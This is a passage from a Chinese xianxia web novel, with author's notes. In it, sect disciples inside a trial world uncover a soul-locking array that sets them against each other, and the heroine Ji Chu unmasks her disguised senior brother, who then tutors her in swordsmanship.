他也是在见到蒋成旭和许盈两个人同时出现后,才知道纪楚为什么一直纠结他是“师兄”还是“师姐”。 出言提醒,也不过是看她总在称呼上犹犹豫豫,觉得沟通时麻烦而已。 孟喻辞心中想着。 然而他静静等了半天,纪楚却在喊了一声“阿兄”后没再出声,跟在他身侧不过走了几步就作势要加快步子,又想跑回到“齐文轩”跟前去。 他下意识伸手拽了她领子一把。 纪楚被他拉住,疑惑回头,正对上他格外专注的目光。 孟喻辞收回手,若无其事开口: “你方才想说什么?” “哎呀,我差点忘了!” 纪楚被他提醒,这才想起来自己刚刚忘了说重点,于是抬手敲了下自己的头,发出极为清脆的一声响,这才继续说: “阿兄,我刚刚是想问你,有没有赵家传家宝的消息?” 不等孟喻辞回答,她就急忙解释了一句: “我不是想打听你的任务进度,我只是好奇:大家的任务看似是除妖,但妖和这里的魆都很古怪。现在赵府又冒出来一个法阵,我就在猜,整件事会不会和传家宝有关系?” 她双眸清亮,条例有据地阐述自己的想法,并不像先前那般一无所知的呆傻模样。 孟喻辞按捺住了想摸她头的冲动,安静地听她说完,这才轻笑一声: “原来不傻。” 纪楚的眼睛一下子亮了起来,并不计较他的说辞,反倒更期待他的消息: “难道你真的知道……” “砰”的一声,身边的院墙忽然被灵力推开,土石飞溅而来,伴随着一道巨大的冲击力,一道灵符直冲纪楚后心攻来。 纪楚只来得及余光瞥见身后骤然亮起的光,还没来得及反应,就被孟喻辞捏着肩膀移到了另一边,及时躲开了这道攻击。 然而还不等她从这“一提一放”中捉摸出点熟悉的感觉,一直关注着这边的蒋成旭就忽然动手了。 先是一剑劈开冲他和许盈飞来的石块,而后剑锋一转,直直切入纪楚和孟喻辞中间,试图将他两人分开。 与此同时,院墙后头亦出现一道剑光,与蒋成旭一前一后,同时朝着孟喻辞而来。 孟喻辞神色不变,指尖剑气凝起,正待将这几人一同淘汰—— 纪楚忽然自身后一把推开他,果断挡在他前面,手中长剑与蒋成旭猛地撞在一起,发出尖锐的声响。 许盈同样跟着出手,剑锋压在另一个攻击他们的修士肩上: “广玄峰的?灵符用的不错啊!” 因着纪楚忽然动手,孟喻辞于是暗中收了剑意,目光落到了一旁的槐园中。 此刻的槐园与白日所见截然不同,院墙倒塌,花枝倒伏,最高的一棵槐树上槐花尽散,剑术符咒痕迹遍布树梢,怨气鬼魂附着其上,从树根处朝外延伸。 地煞锁魂阵。 想到什么,他的目光骤然冷了下去。 * 这边蒋成旭急道: “你怎可信他不信我?他是来杀你的!” 纪楚略震惊了一下,但仍挡在孟喻辞身前,丝毫没有退让之意: “什么意思?你先说清楚。” 许盈按住企图逃跑的修士,一边道: “没错,姓蒋的,自打我们见面你就支支吾吾,到底发生了什么?不说清楚,本姑娘连你一块揍!” 她和纪楚出门时便商量好了:赵府古怪,一直待在赵府的蒋成旭更是古怪。 若是在外面碰上了,一定得多留个心眼,防着点他。 没成想,果然叫她们猜对了! 蒋成旭见两人都不信他,一时气极,也顾不上隐瞒身份了: “许盈,你认识我这么久了,怎么也不信我?” “许盈?” 许盈还没回答,被她按住的那人闻言抬头: “你真是许盈?你怎么变成男人了?” 他复又将目光移向“赵玉琳”,颇有些不可思议,试探了句: “姓蒋的,蒋成旭?” 蒋成旭的脸色一僵,随即听见地上那人大笑起来: “哈哈哈哈……你竟变成了个弱不禁风小娘皮!妙哉妙哉,你二人常年厮混在一起,男不男,女不女,如今连万象天罗盘都看不下去了!叫你们也过一把变性的瘾!” 这口吻这语气,还会用广玄峰的符咒,除了孔回端还能有谁? 许盈和蒋成旭的脸色同时变得难看,暂且放下了猜忌,一左一右朝地上的人踹了一脚,齐声叱道: “闭上你的狗嘴!” 孔回端:“……” 他愤愤转向纪楚: “纪楚,你在这儿修为最低,这两个人谁都能将你淘汰,不若同我合作,先将他们两个除了,再做打算呃……” 纪楚三人不约而同又各自踹了他一脚: “少在这儿挑拨离间!” 孔回端:“……” 你们不是本来就在内讧吗?! 纪楚三人对峙时,他们脚下的地面忽然震动起来,阵法光点自四周升起,骤然将纪楚几人笼罩其中。 原来他们脚下所站,已是地煞锁魂阵范围! 许盈猛地看向蒋成旭:“你——” 蒋成旭深感百口莫辩,急忙解释:“不是你想的这样……” 他话音刚落,脚下的地面震颤起来,霎时间树影倒转,几只巨大的鬼爪忽然自他们身下的地面冒出,欲将他们扯至地下。 变数来的太突然,许盈反应不及,避开一只鬼爪的同时,竟叫孔回端从他剑下逃脱。 而这些鬼爪竟也视孔 回端于无物,只冲着他们三个动手。 孔回端立于阵法光芒最强的地方,恶狠狠一笑,冲着他们扔下一句: “买一送三,真是大惊喜啊。” 随后身形一动,竟消失在他们面前,那道来自阵法的光芒也随之消失。 没空分神了,纪楚和许盈收回思绪,全力应付鬼爪的攻击。 然而这些鬼爪皆是以雾气凝聚,遇刃则断,很快又恢复原状,根本无法除尽。 堪堪得了片刻喘息,来不及离开便会又被鬼爪缠上。 蒋成旭同样被鬼爪缠住,但他不是第一次遇到这种情况,显然更有经验。 “我来断后!” 他以剑劈开两人跟前缠着的鬼爪,一指院子中央的老槐树: “去槐树上面!往槐树最高处跑!” 吵架归吵架,到底是有多年的交情打底。 性命攸关之际,许盈和纪楚对视一眼点点头,一齐横剑劈开挡在身前的鬼爪,趁着雾气还未凝聚之时,灵力开路剑风做挡,毫不犹豫朝着槐树的方向跑去。 蒋成旭依言护着两人逃出雾气,持剑断后。 许盈和纪楚跑到槐树附近后,以灵力助蒋成旭赶来。 三人谁也没有说话,拿出平时翻墙逃学时的利落劲儿,猴子一样往树上面攀。 地上那些鬼爪伸长到一定高度后便停下,像是忌惮着什么,惋惜地看着逃向树顶的几人,却仍未离开,像是在等他们坚持不住掉落下来。 “到底怎么回事?!” 快速的奔逃让几人都气喘吁吁。休息片刻后,许盈率先恢复体力,她忍无可忍地用剑指着蒋成旭: “你到底说不说!不说我就把你打下去喂鬼!” “我说……我说。” 蒋成旭平缓了下呼吸,开口道: “如你所见,地煞锁魂阵的阵心就在此处,但靠近这里,是需要祭品的。” “祭品?!” 许盈闻言顿时横眉竖眼: “你竟然还想把我们当祭品?!” “你怎么血口喷人呢?” 蒋成旭被她的指责气得要死: “你到底是有多讨厌我,才会这样想我?” “到底是谁包藏祸心?” 许盈冷笑,丹雨剑拔出半寸,作势恶狠狠威胁: “你肚子里能藏什么好水?” 蒋成旭也被她说得上火来气,开始顺着她的思路吵架: “从小到大,我何时害过你?!” “你没有吗?” 许盈“哼”了一声,开始翻旧账: “去年是谁在背后造谣我祖上有螳螂精血统,新婚之夜吃男人?害的林公子当天就跑了?!” 蒋成旭:“那林听雨是合欢宗的!” 许盈挥手:“我管他是什么宗的!长的好看就行。再说合欢宗正好,我还要摸摸他的……” 她一句“漂亮小白脸”还没说完,蒋成旭已气急败坏,口不择言: “摸什么摸!他那玩意儿都脏了!不如摸我的!” 许盈:“……” 纪楚:“……” 意识到自己情急之下说了什么,蒋成旭:“……” 他和许盈默默伸出手,一左一右捂住纪楚的耳朵。 许盈在纪楚耳边念咒: “小孩子不要听,纪楚宝宝不要听……” 纪楚:“……” 她抬手给自己顺了顺气,顶着一左一右两个“隔音装备”,道: “我相信蒋成旭,如果他想拿我们当祭品,就不会用佛经把我们留在屋子里了。” 话题终于扯了回来。 许盈也觉得纪楚说的有道理,当然也是不想在纪楚面前继续和蒋成旭吵架,沉默着将剑收了回去,算做和好。 “我之前觉得奇怪,玉书牌出现任务的同时,竟然还会额外强调:种族是人族。现在我隐约有点猜测了……” 纪楚继续说: “如果我猜的没错,蒋成旭,你的任务不是捉妖,你也不是人族吧?” 许盈一愣,瞪大了眼睛。 蒋成旭的脸色有些僵硬,但没有反驳。 还没等他们理清这句话中的巨大信息量,纪楚坐在树上看了一眼四周,又说: “还有,杨念之也不见了。”—— 作者有话说:纪楚:我听到了什么[问号] 第40章 纪楚已经猜出来,蒋成旭便也不再隐瞒。 他的任务确实不是捉妖。 从玉书牌第一天晚上出现任务开始,他就被分配了“魆”的身份。 “赵府槐园下恶魂无数,原本被地煞锁魂阵锁着。但不知道从什么时候开始,压阵的宝物丢失,阴气外泄,逐渐将整座城都笼罩在其中,这也是你们见到的魆的来源。” “压阵宝物丢失,地煞锁魂阵便成了最邪的东西,一边用邪气引起人心之恶,一边却又随机猎杀魆。” “至于我们这些被分成魆的修士……” 蒋成旭神色懊恼: “可能是无意间生了恶念,所以才会被玉书牌判做……魔物,也在被阵法捕猎的范围。” 许盈和纪楚一阵失言,不知该说些什么来安慰他。 许盈拍了拍他肩膀。 蒋成旭苦笑一声: “其实若只是如此,倒还没这么诛心。我虽是魆,却并未入魔,纵使被猎杀,只要勉力逃脱就是。偏偏这玉书牌上还有一行字。” 他无意遮掩,主动将玉书牌展示给两人看。 纪楚一字一句念道: “以修士中成魆者填补阵心,可代替压阵宝物。日出清算,功过相抵,重新为人。” “这——” 许盈顿时想明白了一切,起身怒道: “这不就是让大家自相残杀吗?!” 孔回端的“埋伏”,蒋成旭的“为难”,还有那不知所谓的“祭品”,现下全有了因由! 纪楚的目光落到玉书牌上的“魆”字: “你还是魆,你没有动手吗?” 蒋成旭神色亦有愤懑: “若将同门填进去,换自己的身份清白,这难道不算作恶吗?纵使暂时得了人的身份,又怎么保证第二天依然是人呢?不过是饮鸩止渴罢了!” “事实上,第一天夜里的时候,也有很多人和我一样,没有动手。但天亮的时候,一部分人的玉书牌忽然自爆,当场淘汰。” “所以第二天的时候,就开始有人动手了。将魆推进鬼爪中,自己便可以脱离阵法离开。” 蒋成旭看向纪楚: “当时,陈梧也在这里。” 纪楚一愣:“那他……” “他是被人淘汰的。” 蒋成旭点头: “这儿的阴气太重,他一直打喷嚏,目标太大,被好几个人围攻——但就在他被淘汰之后,事情忽然有了变数……” 他皱眉:“不知从哪冒出来个修为极高的人,竟然二话不说,直接将动手那人的玉书牌捏碎了!” “连着好几个修士,都折在那人手下,我因为没有动手,侥幸被他放过。” “什么情况?” 许盈越听越觉得听不懂了: “你不是说,要想逃脱阵法攻击和玉书牌自爆,得把其他修士推进阵法里才行吗?直接捏碎玉书牌,他图什么啊?” 蒋成旭:“所以我猜测,这个人的目的,并不是要逃脱阵法攻击,他只是要把我们淘汰。” 许盈开始头晕: “这是什么新的战术吗?类似于淘汰别人自己就赢了……可是我们是被万象天罗盘随机分配的小世界,大家一起计分排名的话,只淘汰别人、不去增加自己的分数,这不是白干吗?” “或许他并不在乎排名……” 蒋成旭显然也不太 明白为什么,只道: “总之,你们现在还是人,就是安全的。” 他这么说本是为了安抚两人,但许盈的声音却干巴起来: “那个……我刚刚看了一眼我的玉书牌,可能……我也不是人了。” 蒋成旭:“!” 他急忙看向许盈手里的玉书牌,果不其然在上面看见了和自己如出一辙的描述。 许盈有些懊恼,还有点不太确定: “可能是杀鬼的时候,我看见了点不好的东西,就没控制住……” 两人于是一起愁眉苦脸起来。 半天没说话的纪楚忽然开口: “如果能找到地煞锁魂阵的压阵宝物,是不是就可以阻止这一切?” 蒋成旭和许盈一起看向她,纪楚继续说: “你们说,赵府丢失的传家宝,不会就是压阵宝物吧?” * 三人最后在树上坐了一夜,天亮的时候,许盈和蒋成旭挤在一起等待命运的审判。 幸运的是,两人的玉书牌都没有自爆。 他们又得了一整个白天的缓冲时间。 发现任务可能还是“找到赵府传家宝”后,许盈反而振奋起来: “我就知道我和纪楚不可能是混子!原来我们一开始就拿了主线任务!” 他们离开槐园,一起将“赵玉琳”的屋子翻了个底朝天,却依然没有找到传家宝的踪迹。 正沮丧时,蒋成旭忽然想到一件事: “传家宝丢失后,赵老爷还查过赵玉琳,虽然没有找到东西吧……不过我听丫鬟说,赵玉琳一直觉得府中闹鬼和传家宝有关,她吃斋念佛也有这个原因。” “如果赵玉琳忍不住动手的话,齐文轩这个经常出入赵府书房的人,就一定是她首选的帮凶!” 许盈托着下巴认真分析,随后无奈摊手: “但是我这边真的什么都没有啊!” 纪楚也有点愁。 许盈和蒋成旭都变成了魆,随时都有被淘汰的风险,而她也不知道自己这个“人”的身份还能坚持多久。 地煞锁魂阵每晚清算一次,他们根本没有那么多时间可以耗下去。 忽然,她想起了“杨念之”说了一半的话。 不知怎的,她总有种预感,“杨念之”知道的一定比他们多,如果她问的话,他应该不会瞒她。 这份信任来的莫名其妙,果然被蒋成旭否决了。 “不行。” 蒋成旭坚决不同意: “他身份未明态度古怪,昨夜更是忽然消失,万一害你怎么办?” 他的担心不无道理,纪楚也知道自己这莫名的信任立不住脚,于是道: “那我就先试试他。” * 孟喻辞将几个动手的弟子淘汰后,发现纪楚已经不在赵府,于是独自返回。 刚一推开院门,就看见纪楚端坐在石桌前,像是等了他许久。 “阿兄,你怎么才回来啊?” 她跟他打招呼,语气亲昵自然,透着不怀好意: “是去捉妖了吗?” 孟喻辞看她一眼,淡定回道:“嗯。” 纪楚笑着凑上来,好姐妹一般挽住他胳膊: “那阿兄得了多少分,我能看看阿兄的玉书牌吗?” 温热柔软的一团靠过来,孟喻辞神色微滞,下意识想将她的手甩开,却不知怎的没有动作,任由着她藤萝一样攀在自己小臂上。 “杨念之”身高腿长,纪楚靠得太近,便只能仰着头看他,属于杨思思的脸上露出纪楚独有的狡黠和可爱,让人很难拒绝她的要求。 但孟喻辞没有玉书牌,自然不能允诺,只道: “分数是个人隐私。” 说罢,抬手将纪楚的胳膊推了下去,兀自朝屋子走去。 纪楚皱眉,很快又跟了上去,赶在“杨念之”关门前挤进了屋子: “阿兄这是在防备我吗?若是不能看分数,只看一眼玉书牌可好?” 她绕到他身前,拿出自己的玉书牌倒扣在手心,假装要翻过来给他看,边“强买强卖”道: “现在是白天,我给你看我的,你也要给我看你的。” 玉书牌白日无字,无论面前这个修士的身份是“人”还是“魆”,都无法从玉书牌上窥见。 但“杨念之”却下意识避开视线,仍道:“不可。” 纪楚顿时疑惑: 他怎么好像并不知道,玉书牌白日无字的情况啊? 难道是和许盈还有自己一样,从未想过查看玉书牌吗? 孟喻辞此刻也已经意识到她在试探自己,更加不想同她纠缠,抬手想将她推出去。 谁料纪楚是个虎的,丝毫不懂得“点到即止”、“当心打草惊蛇”的道理,他不肯拿出玉书牌,她竟打算直接上手抢。 孟喻辞的手刚落到她肩膀上,还未用力,便见纪楚如同那滑不溜手的泥鳅一样从他臂弯中钻了出去,转了个身,回头便想伸手摸他身上有没有玉书牌。 孟喻辞岂能叫她得逞,轻松握住她手腕,冷冷道: “出去。” 他越是遮遮掩掩,纪楚就越发觉得不对劲。 若说原本她只是想试探一番,如今便是有了七分怀疑,定要看到他的身份不可。 于是她空着的一只手并指成剑,裹挟着灵力朝“杨念之”抓着她的手腕砍去。 孟喻辞不欲伤她,更不想动手时暴露身份,故而只略微松了力度避开这道剑气,一边推开房门。 然而门只开了寸余,便被纪楚“砰”的一声踢上。 她担心“杨念之”开门想要逃跑,果断将后路封死。 屋外的亮光只在门缝中闪了一瞬便再度被遮挡严实。 因着“杨念之”体弱畏冷,这个屋子还单独以窗纸糊了一层保暖的隔层。 此刻门窗紧闭,屋内光线昏暗,暖色的窗纸映出柔和的暗光。 半明半暗间,纪楚一手以剑抵住孟喻辞的脖子,将他仰面按倒在床上,另一手毫不客气地在他前襟处翻找。 五指纤纤,在他身上乱摸乱按,浑然没有男女大防的意识…… 眼看她到处找不到玉书牌,又要往更下更深处探去。 孟喻辞眉头一跳,忽然抬手,重重捏住她手腕。 他力气用的很大,纪楚挣脱不开,只觉骨头都被其扼住。 抬头,对上一双冷而寒的漆黑双眸,其中暗含警告,令人不寒而栗。 她本能觉得危险,剑刃下意识朝下压去,却又被床上躺着的人仅以两指轻易夹住,始终无法再进半分。 纪楚暗中用力,长剑却纹丝不动,竟也拔不出来! 她额头冒出冷汗。 这人修为明显高她许多,先前恐怕是以退为进,叫她放松了警惕,如今才算是真正撕破脸,只怕是要对她下手…… 纪楚此刻左手被抓,右手连同长剑一道被人制住,俯身跪坐在孟喻辞上方,看似掌握先机,实则已优势全无,随时都有被下面的人反杀的危险。 拽剑的成功率太低,况且她也没有把握能比身下这人剑法更好…… 这么想着,纪楚心一横,低头对着孟喻辞的手指重重咬下—— 尖牙刺破皮肉,铁锈味顿时涌入口腔。 被她压在床上的人没想到她会来这么一招,全无防备间,只觉一温热柔软之物包裹住他的拇指指根,细嫩如贝壳般的牙尖划过皮肤,带来陌生的潮湿和痒意,似幼兽在挑选下齿的方位和力度。 孟喻辞目光错愕,随即便感受到一股钝痛自那温热潮湿处传来。 而始作俑者毫无剑修冷硬自矜之风,竟使出“打不过就咬人”这一无赖招式,咬得认真且恶狠狠。 ——偏偏还起了效果! 不知这人是否被她咬疼了,竟真的松开了钳制着她的手。 长剑一颤,再度恢复自由。 纪楚心中大喜,正待反击之时—— 忽然被人掐住了下半张脸。 下颌被人捏住,食指中指和拇指轻轻一用力,她的上下牙便被这股力量别开,顿时再难咬合,只能松松叼着对方的手腕,抬着眼朝他看去。 一道熟悉的声音自头顶传来,低沉清冷如寒玉相击,冷声质问她: “剑在手中却只会咬人?” “谁教你的?”—— 作者有话说:师兄:我亲自教出来的剑修师妹怎么开始学狗咬人了? 40-50 第41章 “谁教你的?” 听见这熟悉的语气,纪楚顿时睁大了眼睛,颇有些不可思议地瞅着他。 “师兄?” 她咬着他的手说话,口齿不清。 随着她叫出的这两个字,被她压住的人缓缓褪去“杨念之”的伪装,露出原本那副精致清冷的容貌。 五官俊逸出尘,瞳色墨如点漆,乌发如流水般散落于床铺之上,衬得他肤色冷白似玉,高不可攀。 孟喻辞神色平静: “松口。” 纪楚被他眨眼间恢复如初的高冷气度所慑,全然没了对着“杨念之”那张脸时的张狂自如,“咔哒”一下松开了牙。 孟喻辞从她嘴里抽回自己的手,另一手仍掐着纪楚的脸没有松开,目光落到指根处的伤口,一小排牙印正在缓缓渗血,还有些许水光晕染周围,清晰可见。 他抬眸,看向纪楚。 纪楚的目光也随之看向自己的“杰作”。 她心中一虚,顶着面前人没什么温度的目光,缓缓抿住嘴,假装自己是个没牙老太太。 她心里那一点的侥幸消失无踪:这个人,这种眼神,这种不怒自威让人一见就想臣服的气质,绝对是她的师兄孟喻辞无疑。 刨除掉前两天那些没大没小的相处模式,刨除掉折腾师兄给她做饭然后又鸽了师兄,再刨除掉当着师兄的面砍他院子里的树…… 在已经刨除掉这么多黑历史的前提下,今天的她竟然还对着师兄的胸膛又摸又按! 甚至此刻她就跪坐在师兄身上,刚像狗一样咬了师兄一口,伤口还见了血…… 苍天啊——! 纪楚脑子里飘过一行写着“以下犯上倒反天罡无法无天有辱斯文败坏剑修名声”的字幕。 她深吸一口气,果断道歉: “师兄我错了,我真的不知道是你!” 孟喻辞扬眉,掐着她的脸朝上抬了抬,使她不得不直视他微微上挑的俊逸眉眼,语气淡淡反问道: “是别人,就能又咬又摸了?” “是谁都不能!” 纪楚下巴被他抬起来,只得仰着脸与师兄对视,摆出学习剑法时的郑重神情: “身为一个剑修,怎么可以弃剑用牙呢?我当勉力用剑破局!” “哦?” 孟喻辞眯起眼睛,分明仰躺着被压在床上,姿态神情却如同平素教她练剑时那样淡然: “你倒说说,如何用剑破局?” 纪楚:“……” 她俯身趴在师兄胸前,脸被师兄掐着逃脱不开,只能以这样一个别扭的姿势疯狂思考: “我可以将灵力灌进剑刃,用剑气把师兄的挟制震开!” 孟喻辞:“试试。” 纪楚一脸的:“啊?现在吗?” 孟喻辞松开捏着她脸的手,以方才的姿势扣住剑刃,示意她动手。 看师兄神色不是开玩笑,纪楚于是卯足力气催动灵力注入手中长剑。 剑刃因她的灵力产生亮光,照亮了床铺范围,剑身则因为两人的力量抗衡而在他们中间隐隐震颤。 纪楚手腕用力,试图从师兄指间拽出自己的剑—— 失败了,长剑依然被孟喻辞牢牢按着,纹丝不动。 他目光平静,像是对这一结果早有预料。 “继续。” 孟喻辞道。 这一幕像极了他在宗门教纪楚练剑时的场景。 纪楚因而很快便忘了自己现在还在小世界里,只循着以往与师兄对练的本能,调动全身力气去抢自己的剑。 孟喻辞一动不动,神色平静地望着她,甚至握着她手腕的右手还在给她做发力的支撑点。 ——然而纪楚这次还是没能成功。 时间一分一秒过去,她保持着拔剑的动作,咬紧牙关,却始终被架在原地动弹不得。 心下越发着急,灵力便被她用成了蛮力,孟喻辞只稍稍一推,她只觉灵力反冲而来,握剑的右手顿时脱力滑出。 纪楚一下子失去平衡,直直朝着师兄身上扑了过去。 她原本就只是跪坐在床上,此刻除了师兄握着她的手,根本没有其他的着力点。 两人中间尚且横亘着她的长剑,她这么一摔,杨思思的身体必然当然死亡! 这简直是全世界最冤枉的淘汰方式! 纪楚又惊又气。 千钧一发之际,孟喻辞握着她手腕的手忽然发力,借着她脱力歪倒的方向翻身而起,一边将她笼罩在自己身下,一边单手将长剑掷出。 剑刃擦着她的鼻尖而过,笔直地钉进床头,仍在嗡鸣震颤不休,木质的床头顿时出现了裂痕。 纪楚后背贴上床铺的同时,眼前的光被垂下的发丝悉数挡住。 冰凉的乌发顺着她的脸颊和脖颈滑落,又在她耳边铺开一道墨色的水流,几乎是将她整个人都笼罩在他的范围内,以至于她的呼吸间全是师兄身上清冷的香。 纪楚咽了口口水,睁大眼睛看着伏在她身上的人。 师兄俊美到近乎艳丽的眉眼离她格外近,在昏暗的光下显出几分莫测和诡谲,下颌流畅的线条也被晕染出一片阴影,居高临下望着她时,压迫感十足。 这个角度看着师兄时,他身上那种冷而锐利的气息便如同窗外逐渐漫上的夕阳,一点点侵蚀进她的每一寸肌肤,剥开皮肉,压进骨骼。 而夕阳过后,便是无尽的暗色,夜幕低垂,俯瞰大地。 纪楚连呼吸都不敢太大幅度。 孟喻辞一手扣住她手腕,一手撑在她腰侧,一言不发地瞧着她。 甚至透过伪装,看见了她真正的模样。 看她因为紧张而忍不住颤抖的长睫,如蝴蝶振翅,脆弱到让人想要亲手折毁。 虽然勉力装作镇定,但害怕的情绪仍从双眼中逸散出来。 因着这份害怕,她后颈处的空羽浮花也开始悄然绽放,随时准备护住她。 而她毫不知情,声音如小兽低吼,试探中是藏不住的畏惧和颤抖,自以为能骗过猛禽,实则在真正的杀神眼中,这一丝呜咽般的声响,也不过是激起对方心里的嗜血本能罢了…… “师兄……” 纪楚为这一完全丧失主动权的姿态而本能恐惧。 她看着师兄面无表情的审视姿态,心口处再度传来痛感。 师兄会杀她…… 师兄会杀她,吗…… 她睁大眼睛,仿佛在赌前世今生的命运降临,不自觉间,连眼眶都有些濡湿。 孟喻辞将她的神情尽收眼底。 他抬起落在她腰侧的那只手,长指在她眼上悬空几寸的地方停顿片刻,最终只轻轻触碰她的头发,然后以一种安抚的姿态顺着她的发丝移到后颈,精准无误地按住空羽浮花所在的位置。 有熟悉的气息顺着指腹传到他这里,是他的力量。 纪楚茫然惊惶间,感受到师兄骨节分明的手落在她后颈,指腹微凉,轻轻摩挲着那一小片凸起,仿佛有什么东西在指腹下跳动,却又被按住。 随后修长的手指微微用力,她就被师兄托着后颈扶着坐了起来。 见她坐稳后,孟喻辞收回手,起身立于她身前: “摔疼了吗?” 纪楚仍有些怔怔的,摇头。 师兄的气息随着他的起身骤然远离,纪楚放松之余,却又感受到一丝茫然和空虚。 她无意间转头,看见那深插在床头的长剑,入木三分,几乎穿透墙壁,足可见掷剑之人力道之足。 师兄救了她…… 不知怎的,她反而有点想哭。 孟喻辞原是见她害怕自己,这才主动拉开距离,谁知这小师妹非但没有开心起来,反而眼皮一耷拉,眨眼就盈了满眼泪花。 他忍不住问: “哭什么?” 纪楚摇头,由着一 滴泪“吧嗒”一声砸在袖子上: “我没握紧剑……剑修怎么可以松开自己的剑……” 孟喻辞:“……” 挺好的,已经会反思了。 人都已经哭了,他总不好再继续抓住这一点骂她。 于是他说: “作为剑修,你方才的反应确实糟糕……” 然而他才只刚起了个头,就听见纪楚那里传来一声极大的抽泣声,紧接着她将头低得更低,眼泪不要钱似的吧嗒吧嗒往下掉,委屈的像一只毛被打湿的小猫,连耳朵都垂下了。 孟喻辞:“……” 他顿了顿,改口,语气仍有些冷硬: “但这并非全然是你之过……” 纪楚又抽泣一声,动静更大,整个人缩成小小的一团,皱巴巴堆在床边上。 孟喻辞微不可查地叹了口气,彻底放弃教训她的念头,软了语气道: “你已尽力而为,是我下手太重,险些害你受伤……别哭了。” 有只手落在纪楚头上,揉了揉她的脑袋。 纪楚抬头,面前伸出一只修长如玉的手,掌心托着个红彤彤的盘盘果。 师兄的神情也跟着柔和下来,轻声哄她: “吃吗?” “吃。” 纪楚将果子接过来,小口小口地啃。 孟喻辞暗中松了一口气。 见纪楚的情绪稳定下来,他这才放缓语调,语重心长道: “你日后还会遇到更多修为比你高的人,若只想着靠蛮力解决,今日的危机未必不会再现。” “剑刃有形,而剑意无形,拘于有形之物,只会画地自限。” 剑意无形? 听见他的话,纪楚若有所思,连手上的盘盘果也忘了啃。 孟喻辞见她听进去了,心中满意。 以纪楚的悟性,只需稍加提点,很快便能悟出独属于她的剑意。 他的目光复又落到一旁的剑上。 这剑到底太过普通,方才若他再多用半分力气,只怕就会折断。 若是在与强敌对战时断了剑,危险自不必说,更会伤她道心。 他是得尽快为她寻把剑了…… 收回思绪,见纪楚又开始慢吞吞地啃盘盘果,知道她是记住了,但还没能完全领悟,于是孟喻辞又安慰了一句: “不必心急,多练多悟,迟早会破此局。” 纪楚点点头,两口将盘盘果吞下去,一脸乖巧: “我知道了,谢谢师兄。” 孟喻辞于是又摸了摸她的头。 * “杨念之”是师兄。 师兄没有参加问仙大会,自然也没有玉书牌,之所以进入这个小世界,是为了解决一些麻烦。 “解决麻烦……” 听见师兄的解释后,纪楚用食指和拇指搓了搓下巴,一边自言自语一边点点头。 忽然,她猛地想到了什么,松开托着下巴的手,瞪大眼睛看向孟喻辞: “师兄说的麻烦,不会是我们吧?” 孟喻辞没有说话,她心里的怀疑顿时坐实了几分: “那蒋成旭见到的,第二天淘汰那些弟子的人,不会就是师兄你吧?!” 孟喻辞淡淡看向她,不必多言。 纪楚倒吸一口凉气,捂着自己的玉书牌倒退几步,像是看见了什么洪水猛兽一样转头就跑。 孟喻辞长臂一伸,揪住她衣领,语气略有不快: “你跑什么?”—— 作者有话说:师兄:我有这么可怕吗?虽然我来这里就是为了捏碎你们的玉书牌,但是你需要跑这么快吗?[白眼] 纪楚:[求求你了]求放过[求求你了] 第42章 废话!不跑等着被师兄你淘汰吗? 纪楚心想。 但是这话她倒没敢直接说出来,只委婉道: “师兄,这可是问仙大会,我还是想赢的。” 孟喻辞平静道: “你赢不了。” 纪楚满脑子热血上涌:“……” 又来了! 又来了! 上次焚巫祭神图他就这样! 他凭什么说她赢不了! 纪楚越想越气,勃然大怒道: “你没眼光!你是我师兄,怎么能长他人志气,灭我的威风!” 分明比试开始前,他和师尊还在鼓励她,这会儿就改口了。 难道是觉得她修为太低打不过别人吗? “我不要和你说了!” 纪楚“哼”了一声,一把从床头拔出自己的剑,怒气冲冲地踢开了门冲了出去。 留下孟喻辞无语轻叹。 刚到院子里,纪楚脸上夸张的愤怒神色瞬间消失不见。 她做贼般回头看了一眼,见无人追出来,这才松了一口气。 小心翼翼拿出自己的玉书牌看了看,上面依然是“人”的身份,于是彻底放下心来。 幸好她机智,借着生气的理由跑了出来。 不然和师兄这种随时会捏碎玉书牌的“刽子手”待在一起,实在是太危险了。 纪楚腹诽着,一边不自觉地摸了摸自己的腰。 然后她猛然发现,自己一直挂在腰上的,装了棋子的荷包不见了! 她歪着头,仔细回忆自己的行程,确定没有把荷包放在任何地方。 难道是被人顺走了? 纪楚锤了锤头,脑海里浮现出薛羡尘抱住她的一幕。 总不会是…… 她皱眉,心生猜测的同时,不免又想到师兄。 师兄的话倒是提醒了她。 前世薛羡尘得了前三,顺利见到神骨,引出后面一连串的事情。 虽然这一次胜利者不能拜见神骨了,但倘若前世今生走向相同,或许薛羡尘然会赢。 未免夜长梦多,不如直接将这个魔头淘汰。 纪楚点了点头,觉得自己这个主意十分完美。 外面已经漆黑一片,又是一个夜晚。 在知道魆的真相后,每一个夜晚都是修士自相残杀的斗兽场,她再也无法安心地在夜幕下行走,只想加快速度,早点解决地煞锁魂阵。 许盈在赵府等她。 “怎么样怎么样?问出传家宝的消息了吗?” 许盈很是关切。 “没有。” 纪楚摇头。 许盈担忧: “为什么?是他动手攻击你了?还是他也是魆,不肯告诉你?” “都不是。” 纪楚依然摇头,理直气壮道: “是我忘了问了。” 许盈:“……” 纪楚继续说: “他不是魆,但比魆可怕多了!他是刽子手,我们一定要离他远点!” 许盈一头雾水:“刽子手?” 她不知联想到了什么,恍然大悟: “他是刀修?” 纪楚:“……” 她打断许盈的胡思乱想: “这都不重要,我现在有个新的想法。” “我后来想了想,要找到一样东西,总得先知道这东西长什么样吧?” 许盈:“你是说……” 纪楚点头: “我们像无头苍蝇一样到处打听到处找,可谁也不知道那宝物长什么样子。若是这东西真的和地煞锁魂阵的压阵之宝有关,不如下去看看呢?” “那可真是巧了!” 许盈听罢两手一合,发出一声清脆的击掌声: “蒋成旭和你的想法一样,天还没黑的时候,他就先去槐园踩点了。” “他一个人吗?” 纪楚不免担心: “可是他是魆,万一被人盯上怎么办?” 许盈:“他能有什么事啊,我们现在过去就好了。” 实际上她知道蒋成旭在担心什么。 他们两个都已经变成了魆,随时都有被淘汰的可能。 活一夜就少一夜了,时间紧迫,纪楚一个人行动必然危险,他们必须在没被淘汰之前多做点贡献。 或许在别人看来,问仙大会输了便输了,最多就是丢人和拿不到奖励,其实也没什么。 但他们作为朋友,自然能看出纪楚对问仙大会的 在意。 纪楚不想输。 那她和蒋成旭还有什么理由拖后腿呢? 许盈越想越觉得激动,独自在颅内激情澎湃一番后,忍不住拍拍纪楚的肩膀,震声道: “全村的希望!” 纪楚:“?” 她看着许盈脸上格外激动的表情,一时有些摸不着头脑,只好说: “那我们……现在过去?” 许盈像是打了鸡血,亢奋道:“嗯!” 